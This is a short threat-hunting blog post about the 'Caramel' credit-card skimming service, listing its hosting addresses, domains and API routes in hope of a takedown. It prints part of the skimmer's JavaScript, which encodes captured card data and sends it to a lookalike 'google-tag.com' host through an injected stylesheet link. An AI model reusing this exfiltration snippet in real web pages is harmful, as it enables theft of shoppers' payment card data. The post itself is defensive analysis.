Pursuing Caramel Card Gang

Pursuing Caramel Card Gang

Hey all, it’s been quite a bit since my last post, sorry for that, a lot of irl stuff afoot. The thing that caught my attention was Bleepingcomputers post

[embed]Caramel credit card stealing service is growing in popularity A credit card stealing service is growing in popularity, allowing any low-skilled threat actors an easy and automated…www.bleepingcomputer.com

So i decided to go hunting like usual to uncover some bugs in the baddies and send some legal cyber pews at these dipshits. So as you know the fun part is unmasking the providers to help a takedown occur

Some of these may be prior addresses just included for proper recon

Some of these may be prior addresses just included for proper recon

Active

https://caramelcorp.cc/ -> https://37.1.222.67/ Country Netherlands City Amsterdam Organization IROKO Networks Corporation ISP Scalaxy B.V. ASN AS58061

caramelcorp.cc 5.188.90.139 PINVDS Russia

www.caramelcorp.cc 31.40.251.164 DIGITALENERGY-AS Russia

api.caramelcorp.cc 31.28.27.21 HOSTING-MSK Russia

Now that we have identified the hosting and have a valid domain, let us delve deeper into the features as it’s quite locked down. They have autogenerated obfuscated Javascript which i will only show the payload generator for a certain part due to its abuse potential.

[code]

function send() { var _cn = document.getElementById(‘cc_number’).value; if (_cn) { logic(); var payload = b64EncodeUnicode(window.localStorage.getItem(‘payload’)); var gateway = “https://google-tag.com/style?token=” + payload; var stylesheet = document.createElement('link'); stylesheet.href = gateway; stylesheet.rel = “stylesheet”; stylesheet.type = “text/css”; document.body.append(stylesheet); }

}

function b64EncodeUnicode(str) { return btoa(encodeURIComponent(str).replace(/%([0–9A-F]{2})/g, function toSolidBytes(match, p1) { return String.fromCharCode(‘0x’ + p1); })); }

[/code]

so they appear to be using google tag manager to do some shady stuff, but I can’t access that part of the panel as I would need cookies and security identifiers.

I will share some routes and a few other things I found.

/groups/groupdata /groups /cards/ /Cart /Shop /Faq /cards/removecard/ /shops/count /cards/countByDate/+ localStorage.accessRef /shops/ + e /shops/ + n.id, e -> put of data to api route F.delete(“/groups/” + e) -> delete of group data customerInstance.put( ‘/cards/removecard/’ + options, )

various get put post and delete routs to the crud api for the carding skimmer surface hopefully these pieces of intel will be enough for a takedown to occur and some actual intelligence to be gathered on these shit heads mind u i spent like 30 minutes on these guys i’ll leave the rest to the pros